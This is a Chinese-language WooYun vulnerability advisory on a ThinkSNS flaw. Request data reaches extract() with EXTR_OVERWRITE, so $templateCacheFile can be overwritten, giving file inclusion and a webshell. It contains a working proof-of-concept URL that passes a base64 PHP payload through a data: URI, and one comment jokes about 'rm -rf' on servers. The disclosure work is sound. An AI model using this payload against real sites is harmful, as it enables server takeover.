当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号: WooYun-2013-43945

漏洞标题: ThinkSNS getshell一枚

相关厂商: ThinkSNS

漏洞作者: 猪头子

提交时间: 2013-11-24 23:21

公开时间: 2014-02-22 23:21

漏洞类型: 文件包含

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 文件包含漏洞 文件包含漏洞利用技巧

10人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-24: 细节已通知厂商并且等待厂商处理中
2013-11-24: 厂商已经确认,细节仅向厂商公开
2013-11-27: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-01-18: 细节向核心白帽子及相关领域专家公开
2014-01-28: 细节向普通白帽子公开
2014-02-07: 细节向实习白帽子公开
2014-02-22: 细节向公众公开

简要描述:

ThinkSNS某处处理不当导致get shell

详细说明:

\apps\public\Lib\Action\CommentAction.class.php reply函数

code 区域
public function reply() {
$var = $_GET;

$var['initNums'] = model('Xdata')->getConfig('weibo_nums', 'feed');
$var['commentInfo'] = model('Comment')->getCommentInfo($var['comment_id'], false);
$var['canrepost'] = $var['commentInfo']['table'] == 'feed' ? 1 : 0;
$var['cancomment'] = 1;
// 获取原作者信息
$rowData = model('Feed')->get(intval($var['commentInfo']['row_id']));
$appRowData = model('Feed')->get($rowData['app_row_id']);
$var['user_info'] = $appRowData['user_info'];
// 微博类型
$var['feedtype'] = $rowData['type'];
// $var['cancomment_old'] = ($var['commentInfo']['uid'] != $var['commentInfo']['app_uid'] && $var['commentInfo']['app_uid'] != $this->uid) ? 1 : 0;
$var['initHtml'] = L('PUBLIC_STREAM_REPLY').'@'.$var['commentInfo']['user_info']['uname'].' :'; // 回复

$this->assign($var);
$this->display();
}



不管中间过程,$var被赋值被$_GET,并在最后进入了assign函数

\core\OpenSociax\Action.class.php assign

code 区域
public function assign($name,$value='') {
if(is_array($name)) {
$this->tVar = array_merge($this->tVar,$name);
}elseif(is_object($name)){
foreach($name as $key =>$val)
$this->tVar[$key] = $val;
}else {
$this->tVar[$name] = $value;
}
}



assign其实就是给模板变量赋值,也就是说我们的$_GET最后进入了模板变量中。

然后回到一开始的reply函数,可以看到在最后调用了display:

\core\OpenSociax\functions.inc.php display函数

code 区域
// 输出模版
function display($templateFile='',$tvar=array(),$charset='UTF8',$contentType='text/html') {
fetch($templateFile,$tvar,$charset,$contentType,true);
}



fetch找到相应的模板并和我们提交的变量结合编译之:

\core\OpenSociax\Action.class.php fetch函数

code 区域
protected function fetch($templateFile='',$charset='utf-8',$contentType='text/html',$display=false) {
$this->assign('appCssList',$this->appCssList);
$this->assign('langJsList', $this->langJsList);
Addons::hook('core_display_tpl', array('tpl'=>$templateFile,'vars'=>$this->tVar,'charset'=>$charset,'contentType'=>$contentType,'display'=>$display));
return fetch($templateFile, $this->tVar, $charset, $contentType, $display);
}



把请求转发给真正的fetch函数:

\core\OpenSociax\functions.inc.php

code 区域
function fetch($templateFile='',$tvar=array(),$charset='utf-8',$contentType='text/html',$display=false) {
//注入全局变量ts
global $ts;
$tvar['ts'] = $ts;
//$GLOBALS['_viewStartTime'] = microtime(TRUE);

if(null===$templateFile)
// 使用null参数作为模版名直接返回不做任何输出
return ;

if(empty($charset)) $charset = C('DEFAULT_CHARSET');

// 网页字符编码
header("Content-Type:".$contentType."; charset=".$charset);

header("Cache-control: private"); //支持页面回跳

//页面缓存
ob_start();
ob_implicit_flush(0);

// 模版名为空.
if(''==$templateFile){
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html';

// 模版名为ACTION_NAME
}elseif(file_exists(APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html')) {
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html';

// 模版是绝对路径
}elseif(file_exists($templateFile)){

// 模版不存在
}else{
throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templateFile.']');
}

//模版缓存文件
$templateCacheFile = C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templateFile).'.php';

//载入模版缓存
if(!$ts['_debug'] && file_exists($templateCacheFile)) {
//if(1==2){ //TODO 开发
extract($tvar, EXTR_OVERWRITE); //exploit!
//var_dump($_SESSION);
//载入模版缓存文件
include $templateCacheFile; //getshell here!

//重新编译
}else{

tshook('tpl_compile',array('templateFile',$templateFile));

// 缓存无效 重新编译
tsload(CORE_LIB_PATH.'/Template.class.php');
tsload(CORE_LIB_PATH.'/TagLib.class.php');
tsload(CORE_LIB_PATH.'/TagLib/TagLibCx.class.php');

$tpl = Template::getInstance();
// 编译并加载模板文件
$tpl->load($templateFile,$tvar,$charset);//getshell here!
}
... ...
}



分析下这个函数的逻辑:

首先判断模板文件是否存在,不存在则尝试加载默认模板文件,如果加载失败就异常退出

其次如果模板文件存在,那么该文件是否缓存过,如果缓存过,那么直接include缓存文件,在include前使用extract对模板变量赋值

如果模板没有缓存,是第一次被调用,那么就编译模板文件并加载它

在使用缓存的时候程序用extract对变量进行赋值,可以看到第二个参数,EXTR_OVERWIRTE,表示如果某变量已经存在,那么就覆盖这个变量。

下面看看非缓存情况下的处理:

\core\OpenSociax\Template.class.php load函数

code 区域
// 加载模板
public function load($templateFile,$templateVar,$charset) {
$this->tVar = $templateVar;
$templateCacheFile = $this->loadTemplate($templateFile);
// 模板阵列变量分解成为独立变量
extract($templateVar, EXTR_OVERWRITE);
//载入模版缓存文件
include $templateCacheFile;
}



与缓存情况下相同,也是调用extract来覆盖变量,由于第二个参数的使用,因此如果模板变量可控的话,我们可以覆盖任意变量。

可以覆盖$templateCacheFile变量,这样变量覆盖就变成了任意文件包含,并可getshell.

漏洞证明:

上传一个jpg,然后include之:

2.jpg





在allow_url_include为on下可以这样getshell:

code 区域
http://**.**.**.**/thinksns/index.php?app=public&mod=Comment&act=reply&templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b



getshell.jpg

修复方案:

方法有多种,结合业务需要来做:

code 区域
extract($tvar, EXTR_OVERWRITE);

//载入模版缓存文件
include $templateCacheFile.'.php';

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-11-24 23:29

厂商回复:

非常感谢反馈!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-11-25 12:37 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:88888 | WooYun认证√)
    0

  2. 2013-11-25 15:46 | 李旭敏 ( 普通白帽子 | Rank:790 漏洞数:111 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)
    0

    哥,你太屌了

  3. 2014-04-06 15:18 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    还没修复

登录后才能发表评论,请先 登录